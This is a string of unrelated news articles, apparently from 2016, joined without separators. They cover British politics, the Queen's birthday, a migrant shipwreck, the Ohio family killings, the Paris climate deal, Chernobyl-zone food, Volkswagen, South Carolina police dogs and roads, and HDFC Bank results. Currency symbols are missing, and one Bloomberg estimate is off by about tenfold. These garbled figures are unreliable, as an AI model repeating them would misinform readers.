Vote Leave's claim that 350 million a week is sent to Brussels does not take into account the UK's rebate or the money that comes back from the EU, Sir Andrew Dilnot said as he criticised the "lack of clarity" in the way the statistics have been used.

Telegraph Media Group Limited [2022]
Standards watchdogs will not investigate Prime Minister David Cameron over the off-shore controversy revealed by the Panama Papers data leak.

The Parliamentary Commissioner for Standards, Kathryn Hudson, has decided not to probe the matter, but her office refused to explain the reasons for that decision.

Mr Cameron was forced into the position where he had to release a six-year summary of his tax affairs after it emerged he made a 19,000 profit from selling shares in an off-shore trust set up by his father, Ian.

The Prime Minister insisted he was not involved in a tax dodge, and the way the trust was set up was entirely proper.

But Mr Cameron did admit he had badly handled the subsequent furore after details of the business emerged in the Panama Papers leaking.

Mr Cameron said he had initially been angry about the way his father's memory had been "traduced" as a result of the controversy.

After the political storm erupted, Mr Cameron said he was happy to provide more information about his personal finances to the Parliamentary Standards Commissioner if required.

Mr Cameron said he sold his shares in the off-shore trust Blairmore Holdings in January 2010, five months before becoming PM, because he wanted to avoid any conflict of interest.
A student has celebrated an improbable driving test success after hitting and killing a deer during his exam.

Sixth-former Tom Lo would have been forgiven for thinking his chances of passing first time had taken a knock following the incident, but he kept his composure to complete the test.

The 17-year-old explained that he was just ten minutes into the test when the deer ran out in front of the car on a road near Colchester in Essex.

His examiner checked the car for damage and the teenager went on to pass the test with just two minor errors.

I was picking up speed because it was a 60mph zone and all of a sudden I see a deer in front of me, he told BBC Newsbeat. So I hit my brake but unfortunately the deer was killed.

He added: I pulled over after the incident and my driving instructor had a look at the car and checked the deer.

He said there was nothing we could do and that it wasnt my fault, so I was told to continue my test.

I was a bit shocked and I didnt really know what to do. I tried to focus because Id worked quite hard on my driving test.

I tried to carry on driving to a high standard. At the end my driving examiner told me Id passed and he had a word with my driving teacher to let him know what happened to the car.

His driving instructor Robert Jezierski told the Daily Gazette: He kept his composure and he did very well. He has only had 20 hours of lessons.

We teach them the emergency stop as part of the curriculum that we cover but it is very rarely that they have to put it into practice.

Meanwhile, a motorist in Canada was dubbed the worlds worst driver after this shocking car park exit was caught on camera.

And a pizza delivery driver who got stabbed and robbed at work was widely praised after managing to complete his order.

Telegraph Media Group Limited [2022]
Britains Queen Elizabeth II greets well-wishers on her 90th birthday in Windsor, England; inset left: a royal fan waits in the crowd. Photo: AFP/Getty Images

Gripping the roof of an open-top car with one hand as she and the Duke of Edinburgh toured the streets of Windsor, Britain's Queen Elizabeth II marked her birthday yesterday as she has spent much of the previous 90 years: waving to the crowds.

With barely a wobble, the newly nonagenarian monarch and her 94-year-old husband stood upright as their Range Rover crawled through the streets.

They smiled when they spotted well-wishers in the crowds below offering bouquets, cards and yet more birthday cake.

They had already been offered a slice of the official cake, baked by Nadiya Hussain, who won the 'Great British Bake Off', at a reception in the town's Guildhall with 20 other 90-year-olds, whom the queen congratulated on being born in a "lovely vintage year".

Ms Hussain's orange drizzle sponge, which took a week to bake, received royal approval - not for its taste, but for how easy it was to slice, after the queen had struggled to cut a cake at a Women's Institute event last year.

Ms Hussain said the queen had explained to the duke who she was, telling him: "She won the baking show."

"Well, of course I know that," he replied.

"I just love their dynamic," said Ms Hussain afterwards. "Maybe they watch the show."

As the cake was presented, dignitaries began the day's third rendition of 'Happy Birthday', with the third line becoming the suitably formal "Happy birthday Your Majesty".

Earlier in the day, as the queen began her first engagement, a walkabout from Windsor Castle, the crowds had belted out their own affectionate but ever so slightly cheeky version: "Happy birthday dear Queenie".

The crowd of thousands, who stood a dozen deep, watched as the queen and the duke - a few paces behind, as ever - walked from her castle to the Guildhall, past the pub and the fish and chip shop.

It was a distance of only two yards for every year of her life and yet it took her half an hour, so assiduous was she in thanking the well-wishers who had begun to line the streets around the castle at 5am.

Waiting to greet her were a bevy of town criers with 16 ostrich feathers in each of their tricornes, an eight-year-old boy with a gift of eggs from his family's chickens - and even one of the puppets from 'War Horse'.

At one stage, the Duke of Edinburgh spotted a four-year-old boy holding a bunch of flowers.

He lifted the boy, Ethan Lynch, who had been waiting in the crowd for four hours with his mother, over a 3ft crowd barrier so he could hand the bouquet to the queen in person. Further along the street, the queen stopped to speak to two sisters, Judy and Anne Daley from Cardiff, who were each holding a garish pink balloon that formed the number 90.

They had faced disaster earlier in the day when the number nine floated off into the sky as they were giving a televised interview but a local shopkeeper quickly donated a replacement.

"The queen was killing herself laughing," said Anne. "She must have seen it on TV. She was really lovely."

At the foot of Castle Hill, she unveiled a plaque showing a map of a new walkway through the town, whisking away the heavy red cloth as two trumpeters played a fanfare.

"She was terribly happy with the beautiful weather and the lovely occasion," said Hugo Vickers, the historian who championed the walkway.

"She said it was a lovely day."

Her sentiments were widely shared.

"Mission accomplished," declared Alan Clements, a 70-year-old retired bank manager who had driven from Plymouth for the occasion.

"We said we had to make the effort. If we could get a glimpse that would be brilliant and if we could get a photograph, that would be a bonus."

In the event, Mr Clements had a wonderful view and could fill an album with his snaps. He still remembers the last time he saw the queen in person, when she visited Solihull when he was 14.

Also in the crowd was Elizabeth Roberts, a deaf 86-year-old in a wheelchair, who came with her son, John. "I booked this in October," said Mr Roberts. "My mother loves the queen - she is the grandmother of the country. She has been so dutiful."

Beacons

Before returning to the Castle, she met the 90-year-olds, including Peggy Curtis from nearby Sunningdale, in a smart pink jacket for the occasion.

Ms Curtis said afterwards: "You do less when you're 90 but it doesn't seem to worry her. I couldn't walk about all day like she has done. She inspires you to try to keep going yourself."

Shortly after 7pm the queen, now wearing a headscarf, stood outside the gates of Windsor Castle and lit the first in a chain of 1,000 beacons that burned across the country to celebrate her birthday.

Her final duty of the day over, she retired back inside for a private family get-together, with 60 guests dining in the Waterloo Chamber, hosted by her eldest child, the Prince of Wales. ( Daily Telegraph, London)

Telegraph Media Group Limited [2022]
Two men who were among 41 people picked up over the weekend from a boat found adrift in the Mediterranean Sea described yesterday surviving what they say was a shipwreck that might have killed up to 500 people.

If confirmed, the sinking, which would have taken place sometime last week, would be one of the deadliest migrant boat sinkings in the Mediterranean.

So far, there has been no independent confirmation of a mass casualty tragedy at sea. The coast guard authorities of Italy, Greece, Libya and Egypt haven't confirmed a sinking, and there haven't yet been any reports of bodies or debris washing ashore.

Muaz Mahmud Aymo, a 25-year-old Ethiopian, and Mowlid Isman, a 28-year-old Somali, said they had been heading to Italy, leaving the Libyan port city of Tobruk at night on a boat with about 200 people on board. They said smugglers forced them onto a larger boat, which they said already had about 300 people on board although it was dark and they couldn't see inside.

The larger boat sank during the transfer of people from the smaller vessel, they said, and all died except 31 people who were still on the smaller boat and 10 more, including the two of them, who were picked up from the sea by Somalis who were still on the smaller boat.

"The people all, they die on that ocean," said Mr Aymo, who said his two-month-old baby and 20-year-old wife were among the fatalties. Mr Isman said he lost his sister and his sister's baby.

Mr Aymo said the smugglers had told them the journey, for which each passenger paid $1,800, would be safe. "They say: 'You are gonna go to Italy. Today. Tonight. No problem. You are safe,'" he said.

But the smugglers forced them onto the larger boat, which he described as a wooden vessel of about 30 meters. Both said they saw those on board struggling in the water and dying. "We saw the dead people with our eyes," Mr Isman said.

They managed to swim to the smaller boat and get on board, but the smuggler motored away, ignoring the pleas from the crying survivors and at one point brandishing a knife at Mr Aymo and threatening to kill him, he said.

It is unclear where the sinking might have taken place. The 41 picked up on Saturday by a passing cargo ship and ferried to Greece had been adrift for three days, Mr Aymo said, after the boat's engine broke down. They were picked up 110 miles south-west of the Greek mainland and taken to the Greek city of Kalamata.

The two gave their accounts during a news conference in Athens. Officials from the UN refugee agency and the Greek aid group Praxis asked reporters not to push the two with tough questions as they had survived traumatic events. The International Organisation for Migration has also provided accounts of the sinking, though its version varied slightly to that of the UNHCR.

Mr Aymo said that the smaller boat's engine broke down soon after the sinking. The smuggler called for help and another boat arrived to take him. As he left, he threw the passengers' cellphones into the sea, and tossed them another telephone - which from its description sounded like a hand-held satellite phone. He promised to return to fix the engine and bring food and water, but never did.

Mr Aymo said the passengers were so distraught they forgot about the phone for three days, as they drifted hopelessly. On the third day, he remembered the phone. When he dialled, he got through to Italian authorities who organised the rescue by a passing cargo ship.
Lt. Michael Preston, of the Ross County sheriff's department speaks to the media near a fatal shooting in Pike County, Ohio (AP)

This aerial photo shows one of the locations being investigated in Pike County, Ohio, during the investigation into a multiple shooting (Lisa Marie Miller/The Columbus Dispatch/AP)

Eight members of the same family were shot in the head in "execution style" killings at four locations in rural Ohio, police said.

The killer was still on the loose and considered armed and dangerous, police said, as they warned surviving relatives and residents to be on their guard.

Three children, aged just four days old to three years, survived the rampage that left seven adults and a 16-year-old boy dead, Attorney General Mike DeWine and Pike County Sheriff Charles Reader told a news conference.

Authorities said preliminary information indicated that none of the victims had taken their own life. Mr DeWine said it was possible more than one person was involved in the killings.

Some of the victims were in bed, indicating they were shot while they were sleeping. The victims were identified as members of the Rhoden family.

"It's heartbreaking," Mr DeWine said. "The one mother was killed in her bed with the four-day-old right there."

A motive was not clear, authorities said.

A dozen Bureau of Criminal Investigation agents were called on Friday morning to Pike County, an economically struggling area in the Appalachian region some 80 miles east of Cincinnati.

Governor John Kasich, campaigning in Pennsylvania for his Republican presidential bid, said his office was monitoring the situation in Pike County.

"Reports we are receiving from Peebles are tragic beyond comprehension," he wrote on his Twitter account.

The FBI in Cincinnati also said it was closely monitoring the situation and has offered assistance to the Pike County sheriff's office if needed.

Peebles High School imposed a precautionary lock-out on Friday morning after authorities notified the school head of the shootings a few miles away.

The school was operating normally a few hours later.

Piketon is the site of a Cold War-era uranium plant that was closed in 2001.
The Mauritainian man is said to be a key planner of the Mali hotel attack

Mali's intelligence service says it has arrested a key figure behind last year's deadly attack on a luxury hotel in the capital Bamako, who was also plotting attacks on Western targets this weekend.

The General Directorate of State Security said the Mauritanian man, identified as Fawaz Ould Ahmeida, was a main planner of the November 20 attack on the Radisson Blu hotel that left 20 people dead.

It also linked him to an attack last month on the European Union military training mission's headquarters in Bamako. One assailant died in that incident.

The directorate said Ould Ahmeida was a member of the Al-Mourabitoun group, which has also been implicated in the March 13 assault on a beach town in Ivory Coast. It said he was planning attacks on Western targets this weekend.
Ban Ki-moon speaks at the signing ceremony for the Paris Agreement at UN headquarters in New York (AP)

Dozens of world leaders have signed the Paris Agreement on climate change as the landmark deal takes a key step towards coming into force years ahead of schedule.

Some brought a personal touch to the historic occasion. US Secretary of State John Kerry held his young granddaughter, and gave her a kiss, as he signed.

The signing ceremony - at which more than 170 countries were taking part - is expected to set a record for international diplomacy: Never have so many countries signed an agreement on the first available day. States that do not sign on Friday have a year to do so.

"The era of consumption without consequences is over," UN secretary-general Ban Ki-moon told the New York gathering.

French President Francois Hollande was the first to sign the agreement which will enter into force once 55 countries representing at least 55% of global emissions have formally joined it.

The United States and China, which together account for nearly 40% of global emissions, have said they intend to join this year.

US President Barack Obama welcomed the signing saying he hopes it will allow "all of our children to inherit a cleaner, healthier, and safer planet".

As the world's second-largest source of carbon emissions, the United States has a responsibility to act, he said.

Mr Kerry said signing the agreement was a moment for world leaders to recommit to actually win the "war" against carbon emissions that are making the planet hotter every year.

"The urgency of this challenge is only becoming more pronounced," he said, "and this is why our gathering today is, in fact, historic."

He said the power of last December's climate agreement "is the message that it sends to the marketplace".

It is going "to unleash the private sector" to define the new energy of the future and set the global economy on a new path to development that preserves the environment, he said.

Many expect the climate agreement to come into force long before the original deadline of 2020. Some say it could happen this year.

After signing, countries must formally approve the agreement through their domestic procedures. The United Nations says 15 countries, several of them small island states under threat from rising seas, are set to do that on Friday by depositing their instruments of ratification.

China's climate envoy Xie Zhenhua said China would "finalise domestic procedures" to ratify the Paris Agreement before it hosts the G-20 summit in September.

Maros Sefcovic, the energy chief for another top emitter, the 28-nation European Union, said the EU wants to be in the "first wave" of ratifying countries.

Countries that had not yet indicated they would sign the agreement on Friday include some of the world's largest oil producers, including Saudi Arabia, Iraq, Nigeria and Kazakhstan, the World Resources Institute said.

Before leaders started signing, Hollywood star Leonardo DiCaprio urged them to leave fossil fuels "in the ground where they belong" telling them they are the "last best hope" for saving the planet from the disastrous effects of global warming.

The actor, who is a UN Messenger of Peace with a special focus on climate change, added: "We can congratulate each other today, but it will mean absolutely nothing" if you return to your countries and don't take action to implement the deal."

The Paris Agreement, the world's response to hotter temperatures, rising seas and other impacts of climate change, was reached in December as a major breakthrough in UN climate negotiations, which for years were slowed by disputes between rich and poor countries over who should do what.

Under the agreement, countries set their own targets for reducing emissions of carbon dioxide and other greenhouse gases. The targets are not legally binding, but countries must update them every five years.

Already, states face pressure to do more. Scientific analyses show the initial set of targets that countries pledged before Paris do not match the agreement's long-term goal to keep global warming below 2C, compared with pre-industrial times. Global average temperatures have already climbed by almost 1C. Last year was the hottest on record.

The latest analysis by the Climate Interactive research group shows the Paris pledges put the world on track for 3.5C of warming. A separate analysis by Climate Action Tracker, a European group, projected warming of 2.7C.

Either way, scientists say the consequences could be catastrophic in some places, wiping out crops, flooding coastal areas and melting Arctic sea ice.
Schoolchildren in rural Ukraine are having to eat increasing amounts of food from land still contaminated by fallout from the Chernobyl disaster three decades ago.

Thousands of families are caught between the consequences of two disasters: the residue from Chernobyl and the recent plunge of Ukraine's economy.

The cash-strapped government cancelled the school lunch programme for 350,000 children last year - the only source of clean food in many villages near Chernobyl - so families are resorting to milk and produce from land still contaminated by fallout from the world's worst nuclear accident.

After the explosion and fire on April 26 1986, the most heavily affected areas in Ukraine were classified into four zones. Residents from three were evacuated or allowed to volunteer for resettlement, while the fourth was classed as not contaminated enough for resettlement but eligible for subsidies to help with health issues.

The Institute of Agricultural Radiology said recent testing in the zone showed radiation levels in wild-grown food such as nuts, berries and mushrooms were two to five times higher than what is considered safe.

Ukraine's economy has been weakened by separatist war in its eastern industrial heartland, endemic corruption and the loss of Crimea, which was annexed by Russia. Last year, the Kiev government, which is propped up by billions of pounds in loans from the US, the EU and the World Bank, cut off paying for school lunches in Zone 4.

There are no official figures, but a typical price of about 20 hryvnia (50p) would put the programme's funding at about 35 million a year.

One woman, Viktoria Vetrova, from the village of Zalyshany, 30 miles south west of the destroyed reactor, knows the risk her four children take in drinking milk from the family's two cows and eating dried mushrooms and berries from the forest.

Her eight-year-old son Bogdan suffers from an enlarged thyroid, a condition studies have linked to radioactivity.

"We are aware of the dangers, but what can we do?" said Ms Vetrova. "There is no other way to survive."

Teacher Natalya Stepanchuk said: "Hot meals in the schools were the only clean food, which was tested for radiation, for the children. Now the children have gone over to the local food, over which there is absolutely no control."

In 2012, the government halted the monitoring of radioactive contamination of food and soil in Zone 4, which was called the "zone of strict radio-ecological control". The state has also cancelled a programme for buying Ferocin, known as Prussian Blue, a substance farmers could give their cattle to hasten the elimination of the cesium-137 isotope. Without financial help, farmers in the area are unwilling to buy it on their own.

"The government spends huge funds for the treatment of the local population, but cannot put out a little money on prevention," said Valery Kashparov, head of the Ukrainian Institute of Agricultural Radiology. "I am ashamed to look people in the eye."

Vitaly Petruk, head of the agency that administers the "exclusion zones" closest to the Chernobyl plant, says the decision on the school lunches came down to how best to use limited funds.

"What is better: to give all the money to people who have radiation sickness and save them, or split the money ... and give each of them four hryvnia (10p)?" he asked. "The idea was to focus on certain things, rather than dissipate energy and waste money."

This calculation means that many in the village of about 350 people go without food. There are 1,300 settlements in the zone where the lunches were cancelled. Even when they were available, children were likely to have been eating contaminated food when out of school.

The lunch cancellations did not affect nurseries, such as the one in the same building as the local school, and the nursery cook, Lyubov Shevchuk, sometimes slips the older children something.

"Children faint and fall. I try to at least give them some hot tea, or take from one child to give to another," she said.

With no government agency taking responsibility for feeding the schoolchildren, it is largely left to charities. An Italian group, Mondo in Cammino, raised money to supply 130 pupils in one village, Radynka, with a year's lunches at a cost of 15,000 euros (12,000).

"We know that Ukraine is near default. They decided that these families were no longer children of Chernobyl," said the organisation's director, Massimo Bonfatti.

The overall effects of radioactive fallout remain intensely debated. A UN report concluded that the additional radioactivity over a 20-year period was approximately equivalent to that of a CAT scan, because of higher levels of the long-lived cesium-137.

Ausrele Kesminiene, a doctor with the World Health Organisation, said there is little evidence associating radioactivity-contaminated food with cancers other than in the thyroid.

But a review compiled by Greenpeace published in March found scientific studies indicating children in areas contaminated like Zalyshany show much-reduced respiratory capacity. An EU-funded study tracking 4,000 children for three years in contaminated areas found cardiovascular insufficiencies in 81% of the children.

Yuri Bandazhevsky, a paediatrician who has studied the effect of small doses of radiation on the human body, said there are "very serious pathological processes" which can lead to defects of the cardiovascular system and cancer. Dr Bandazhevsky, whose work is widely cited abroad, was imprisoned in his native Belarus for four years. Supporters allege it was due to his work studying Chernobyl's consequences. He now works in Ukraine.

"With regret I have to state that nobody cares about this, and those hungry children are another proof of how authorities treat a population which suffers on these territories," he said.
Volkswagen has already acknowledged using special software to cheat on US diesel emissions tests

German car maker Volkswagen is to take a 16.2 billion euro (12.6 billion) hit in its 2015 accounts related to the diesel-emissions scandal last year.

The announcement came ahead of a news conference at its Wolfsburg headquarters that follows the outlines of a deal with US environmental authorities.

The news emerged as five German car makers said they had agreed to recall a total of 630,000 diesel vehicles in Europe following an investigation into emissions levels.

Germany's transport minister Alexander Dobrindt identified the companies as Mercedes, Opel, Volkswagen and its subsidiaries Audi and Porsche.

The move followed a probe of 53 models by Germany's Federal Motor Transport Authority sparked by revelations last year about Volkswagen's emissions test cheating.

Under the terms of Volkswagen's proposed deal with US authorities, the company would offer to buy back almost 500,000 cars equipped with software that let the cars cheat on emissions tests.

The firm had delayed its earnings announcement until it could get a better estimate of the costs involved. Analysts say the total costs in fines, legal judgments and lost sales will be significantly higher.

Volkswagen also said it will not be able to release results of an internal probe of its emissions scandal this month as expected. The probe conducted by US law firm Jones Day could be completed by the end of the year.

The company said early release of partial results would interfere with settlement negotiations in the US and could hamper co-operation with US law enforcement.

However, it said will post an after-tax loss of 1.36 billion euros (1.06 billion) for the year and a net loss of 5.5 billion euros (4.3 billion).

Mr Dobrindt said none of the newly scrutinised models were found to have defeat devices of the kind used by Volkswagen, but that they displayed elevated levels of nitrogen oxide in both laboratory and real-world tests.

Some models used technology to switch off the vehicles' emissions treatment systems at certain temperatures to protect the engine, he said.

While such technology is legal, investigators found that the temperatures at which the emissions treatment systems were throttled did not appear to be justified in all cases, so the five manufacturers agreed to voluntarily recall those vehicles.

Additionally, all engine protection features will have to be declared and fully explained by manufacturers in future before their cars are approved by German authorities, Mr Dobrindt said.
Elections in Anderson County: How to vote early and what to know

What to know about the 2022 general election and voting in South Carolina, which has passed new legislation to create a period for early voting.
Shawn Davis (right) watches Eric Scott reward Sandro, a German Shepard during Anderson County Sheriff's Office K9 Unit training in Mineral Spring Park in Williamston. Davis, a resource officer in Anderson School District Five working for the county sheriff's office, is scheduled to join the K9 unit and get the next dog from Pennsylvania.

SHARE Marty Brooks (left), Anderson County Sheriff's office K9 Unit and bloodhound Maverick walk with officer Brian Picard during training at Mineral Spring Park in Williamston. Anderson County Sheriff's Office K9 Unit members (from left) Cpl. Eric Scott with Sandro, Cpl. Kevin Evatt with Duke, Marty Brooks with Maverick, Jonathan Williams with Dixie, Brian Picard with Bono and John Martin with Emma. Eric Scott lets his K9 Sandro, a German Shepard, follow a scent during Anderson County Sheriff's Office K9 Unit training in Mineral Spring Park in Williamston. Anderson County Sheriff's Office dog Hyco was fatally shot in the line of duty on Oct. 21.

By Mike Ellis of the Independent Mail

A pack of dogs and Anderson County sheriff's deputies ran around a park in Williamston on Wednesday going through training drills.

It has been nearly six months after a member of their team, a German shepherd police dog named Hyco, was shot and killed.

But in the days since Hyco's death there has been unprecedented community support for the dog team, several of the deputies said, and state legislators are pushing for tougher penalties for killing police dogs and other animals. Each of the police cruisers at the park had a sticker on the back with a silhouette of a German shepherd and the name "Hyco" over a blue bar spanning the silhouette.

Ben Mallard, co-owner of East Coast Signs, said the stickers are on more than a thousand cars in the area. His

shop helped produce the stickers, which were sold to help raise money so the Sheriff's Office could buy another dog.

"We wanted to do something positive, something that could turn around something so negative," Mallard said.

The stickers are likely the most popular thing his store has ever done, he said.

Mallard still remembers the day he watched from his shop door, near the Anderson Regional Airport, as deputies carried away the lifeless body of Hyco on the October 21. Hyco was shot when Hyco's handler, Brandon Surratt, and deputy Matthew Grant exchanged gunfire with up to three men hiding in nearby woods.

"Pretty soon there were 50, 75, 100 officers there," Mallard said. "And I know how many times they've come to our shop for false alarms. These guys are putting their lives on the line, they don't know if its a bird triggering our alarm, or the wind or something like this."

It was a dog unit training day when the call went out: A carjacking.

Deputies had been chasing three men in what turned out to be a false report of a carjacking by a woman.

The men who fled and are accused of shooting  23-year-old Sergio Montez Martin, 23-year-old David Morris Jr. and 18-year-old Martavious Craig  all remain in the Anderson County Detention Center. Each has been charged with two attempted murder counts and cruelty to a police dog among other offenses. And the woman, 23-year-old Shirlandria Dixon, was released days after the shooting and is charged with filing a false report. None of the cases have made it to trial.

The vulnerability they all felt that day came back, fresh, in March when Greenville Police Officer Allen Jacobs was shot and killed, several of the dog team members said.

"It reminded folks of the reality," said Cpl. Kevin Evatt, one of the deputies on the dog unit.

For the last six months, the pack of dogs and deputies have worked longer, tougher hours and have been called in on days off to cover the loss of one of four patrol dogs, said Lt. Josh Payne, head of the Anderson County Sheriff's Office dog unit"I put a challenge in front of them: We need to cover the county," Payne said. "And they have delivered. With smiles."

Donations from the stickers, from elementary school fundraisers and from dozens of individuals and groups have raised more than $13,159.85 for a fund at the Sheriff's Office to buy a new dog.

That's just shy of the cost of the dog, $13,750 and is plenty enough to go ahead with the new dog, Payne said.

"We're just so grateful that people have helped," he said. "We hear from people passing thanks to us, from other deputies and they all let us know they appreciate us and we are so appreciative of that."

Surratt, Hyco's handler, is now a Greenville County Sheriff's Office deputy and he recently got another police dog.

Taking his place on the Anderson County team, deputy Shawn Davis, who is a school resource officer, will finish out the school year and go to Pennsylvania in late June to pick up a German shepherd. He'll be there for about six weeks of training and come back to another several months of training.

Davis and the new dog, who haven't yet been introduced to each other, will likely be on patrol in late October or early November.

The dog team is competitive, there are always plenty of applicants who want to be with a dog.

Evatt said it's a calling.

"It's got to be in your blood," he said.

The deputies in the dog unit said they were drawn to dogs, most of them were avid hunters or outdoorsmen who are used to poking through brambles and over creeks.

The dogs stay with their handlers all day. The dog team members spend more time with their dogs than their wives or children, they said.

During the training at Spring Water Park in Williamston on Wednesday, Davis, was assigned to hide in a thicket of bamboo on a hill behind a brick wall.

He stayed there for a half hour, waiting for the scent to die down and getting dirt on the back of his otherwise-crisp black uniform. The members of the dog team wear green uniforms; Davis is still an school resource officer o trains with the others after his school duties.

"These dogs are our family," said Evatt, who is on his third dog in nearly two decades of work with police dogs. "You've got to love to do this because it takes more time, more energy. It's either in your blood or it's not."

Follow Mike Ellis on Twitter @MikeEllis_AIM
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By Tim Smith, tcsmith@greenvillenews.com

COLUMBIA  The cost to repair South Carolina's crumbling infrastructure is a "time bomb," a Legislative Audit Council official told House lawmakers Thursday.

But members of the House panel that heard results of this week's massive audit of the state Department of Transportation took no action on whether to concur with the Senate's roads bill that House leaders have criticized as inadequate to meet the state's long-term funding needs.

The panel, which last year drafted the House roads plan, spent five hours listening to LAC and DOT officials talk about the massive audit released Tuesday that found problems with DOT's governance model, its prioritization of road projects and its operations, as well as its funding shortfall.

But Rep. Gary Simrill, a Rock Hill Republican who chairs the panel, told the panel afterward that Thursday's meeting was to gather information about the audit, not to recommend what to do about the Senate bill.

That didn't stop some lawmakers from trying.

Rep. Russell Ott, a Calhoun County Democrat, said he felt the LAC information is "very compelling that the last thing we need to do is concur with what the Senate sent us."

Rep. Joe Neal, a Richland County Democrat, said the audit's result show "we don't have enough resources."

Neal said while he thinks neither the House nor Senate plans provide enough funding, he favors the House version.

"Right now it doesn't look like we're winning the roads war," he said.

Rep. Chip Limehouse, a Charleston Republican and another member of the panel, tried to elicit opinions on the Senate's plan from officials appearing before the panel before voicing his own thoughts.

"I think the Senate plan is the worst plan since maybe the German army decided to invade Leningrad," he said.

The Senate's roads bill would spend $400 million a year from the General Fund on roads and would allow the governor to appoint the DOT board.

House leaders have criticized the Senate bill, arguing it does not address the state's long-term infrastructure needs with a sustainable source of revenue. The House roads bill passed last year raised about $400 million through both a sales tax on gas and raising the cap on the sales tax on vehicles.

But late last year officials learned the state would have a $1.4 billion budget surplus this year and that caused Senate Republicans to balk at any gas tax increase.

Gov. Nikki Haley is pushing House members to agree with the Senate bill, worried that if they propose changes, the bill will not pass this year and reforms in the bill will be lost.

DOT Chairman Mike Wooten asked lawmakers Thursday to provide the cash-strapped agency with a sustainable source of funding, such as an increase in the gas tax, and not money from the General Fund.

"We finally have the team we need," he said of DOT's leadership. "Give them something to work with."

Brad Hanley, audit manager for the LAC, said if DOT spent every dime available each year just to fix roads in the state rated in poor condition, it would take 12 years, or a total of $12.5 billion. He said the costs are a "time bomb" for the state if left unaddressed.

Hanley also said that even if all of the LAC's audit report findings are followed, the resulting savings are "not a bucket of money."

The audit reported no fraud or financial mismanagement, though it did question how DOT spent some of its money and resources.

State Transportation Secretary Christy Hall told the panel she wants the state to focus on fixing its primary roads, which carry about half of its traffic. But even focusing on primary roads that are in poor condition would cost $2.3 billion, she said.

Hall has previously estimated that it would take about $1.2 billion more per year to improve all of the state's roads and bridges to good condition.

While answering lawmakers' questions on funding, Hall told them she felt the most critical issue for her agency was addressing its governance. Currently, the transportation secretary, which leads DOT, is appointed by the governor, while most of the DOT board is elected by legislative delegations.

Some lawmakers voiced concerns with DOT other than funding.

Rep. Mac Toole, a Lexington County Republican, said while the agency needs more funding, he believes there are about 10-12 "major issues" in the audit that need addressing.

"Throwing money at this," he said, "I do not think is the answer to this issue."

Rep. Phyllis Henderson, a Greer Republican who chairs a House oversight panel on DOT and also sits on the panel that heard the audit results Thursday, said she is concerned with the lack of data and documentation discovered by auditors concerning the prioritization process.

Rep. Bill Hixon, an Aiken County Republican, said he feels like the Legislature is near the finish line on roads but doesn't want to apply a financial Band-Aid to the need.

"We need to be able to dedicate a stream of funding," he said.

Simrill told the panel he remains hopeful.

"We all recognize that for the future of South Carolina roads, the LAC says it, DOT says it, there's nobody that does not say it, that we must have a reliable, sustainable futuristic source to pay for our roads," he said.
HDFC Bank Ltd, fifth largest bank in India, reported standalone net profit of Rs. 3,374.22 crore for the quarter ended March 31, 2016, registering growth of 20.21% yoy and 0.52% qoq. It's Net Interest Income (NII) for the quarter stood at Rs. 7,453.34 crore, clocking growth of 23.95% yoy and 5.44% qoq.



Gross non-performing assets (GNPA) for the quarter stood at 0.94% up 4 yoy, but down 3 qoq. Provisions at Rs.662.45crore were higher 14.88% yoy and 1.31% qoq.



For the year ended March 31, 2016, the bank reported net profit of Rs. 12,296.23 crore, registering growth of 20.36% yoy. It's NII for the current period of Rs. 27,591.52 crore was up 23.2% yoy.



Provisions during the period at Rs. 2,725.61 crore were higher by 31.31% yoy.







HDFC Bank Q4 FY16  Robust show



HDFC Bank reported an in-line performance for Q4 FY16. The bank's loan growth at 27% yoy was fuelled by robust 30% yoy growth in domestic retail advances. The latter in turn would have been driven by persistent growth recovery in vehicle financing products.With C/D ratio increasing 200bps qoq, the NIM remained stable despite the softening of the blended portfolio yield.

Result Highlights: (Rs. in crore)

Reported Results IIFL Estimates Variance (%) Standalone NII 7453.34 7,341 1.53 Standalone Net Profit 3374.22 3385 [0.32]



Standalone EPS for the quarter stood at Rs. 13.3.



Bloomberg estimated the companys standalone net profit at Rs. 33,943.13 crore.



Corporate Action:



HDFC Bank Ltd has informed BSE that the Board of Directors of the Company at its meeting held on April 22, 2016, inter alia, have, recommended a dividend of Rs. 9.50/- per equity share of Rs. 2/- each (i.e. 475%) out of the net profits for the year ended March 31, 2016.



Stock Commentary:



HDFC Bank Ltd is currently trading at Rs. 1097, up by 5.95 points or 0.55% from its previous closing of Rs. 1091.05 on the BSE.



The scrip opened at Rs. 1098.75 and has touched a high and low of Rs. 1098.75 and Rs. 1085.65 respectively. So far 723906(NSE+BSE) shares were traded on the counter. The current market cap of the company is Rs. 275837.79 crore.



The BSE group 'A' stock of face value Rs. 2 has touched a 52 week high of Rs. 1127.9 on 21-Jul-2015 and a 52 week low of Rs. 928.8 on 29-Feb-2016. Last one week high and low of the scrip stood at Rs. 1104.9 and Rs. 1072 respectively.



The promoters holding in the company stood at 21.49 % while Institutions and Non-Institutions held 43.5 % and 16.3 % respectively.



The stock is currently trading below its 200 DMA.






You may have a comprehensive health cover procured individually to complement the group insurance cover from your employer. However, to get through the challenges posed by a life-threatening ailment, an extra insurance cover is of necessity. Your individual cover and group insurance plans may have caps on doctors fees, the cost of therapy equipment such as prosthetics or specific caps of specific medical expenses such as on intensive care. Such cases will only see the propulsion of your bill to levels that your insurer would be unwilling to pay, forcing you to meet the costs from your pockets.Critical illness plans are better placed to cater for such, unlike regular indemnity health covers which are designed to meet medical costs as they are incurred, critical illness plans pay out a lump sum to the insured or beneficiary on diagnosis irrespective of whether the insured has been hospitalized of not. On the other hand, choosing an appropriate critical illness plan requires care and an understanding of the plan and your situation. Here are 4 pointers to help you choose the best critical illness cover.A longer and broader list is better; however, this would probably come with a correspondingly higher premium. To balance between the premium cost and the illnesses covered, review your family history, lifestyle and health history to best narrow down on the most likely critical ailments that would affect you. A consultant physician can assist you in this process.The sum assured is meant to cater for future financial liabilities, treatment costs, post hospitalization treatment and provide an alternative source of income while you are incapacitated to work and earned.
